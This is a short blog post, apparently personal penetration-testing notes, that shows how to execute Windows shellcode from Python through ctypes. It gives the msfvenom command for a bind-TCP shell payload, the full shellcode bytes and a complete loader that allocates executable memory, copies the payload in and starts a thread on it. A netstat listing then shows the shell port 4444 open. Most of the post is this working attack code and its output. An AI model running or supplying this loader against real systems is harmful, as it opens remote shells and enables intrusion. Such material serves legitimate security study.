So after using csharp to inject shellcode I wanted to see what other languages were able to directly write to and call memory locations.
As I’ve been working my way through The SecurityTube Python Scripting Expert course I decided it made sense to see if it was possible with python.
A quick google found me a href=”http://www.debasish.in/2012/04/execute-shellcode-using-python.html” target=”_blank”>this post by Debasish. FULL credit for this work goes to Debasish, this post is purely for my notes and memory. 🙂
So the first thing we need to do is create a payload for the exploit, a simple shell bind TCP will suffice:
1 | root@bt:~# msfvenom -p windows/shell/bind_tcp -e none |
Insert the code into the short python script and then run it, pretty simple really:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 | #!/usr/bin/python import ctypes #ShellCode # msfvenom -p windows/shell/bind_tcp -e none shellcode = bytearray( "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" "\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" "\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" "\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0" "\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b" "\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff" "\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d" "\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44" "\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" "\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f" "\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29" "\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50" "\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x31\xdb" "\x53\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68\xc2" "\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5" "\x53\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x97\x68\x75" "\x6e\x4d\x61\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9" "\xc8\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56" "\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56" "\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x85" "\xf6\x75\xec\xc3") ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40)) buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),buf,ctypes.c_int(len(shellcode))) ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(ptr),ctypes.c_int(0),ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0))) ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1)) |
1 2 3 4 5 6 7 8 | C:\Users\pentest>netstat -anp tcp Active Connections Proto Local Address Foreign Address State TCP 0.0.0.0:135 0.0.0.0:0 LISTENING TCP 0.0.0.0:445 0.0.0.0:0 LISTENING TCP 0.0.0.0:902 0.0.0.0:0 LISTENING TCP 0.0.0.0:912 0.0.0.0:0 LISTENING TCP 0.0.0.0:4444 0.0.0.0:0 LISTENING |
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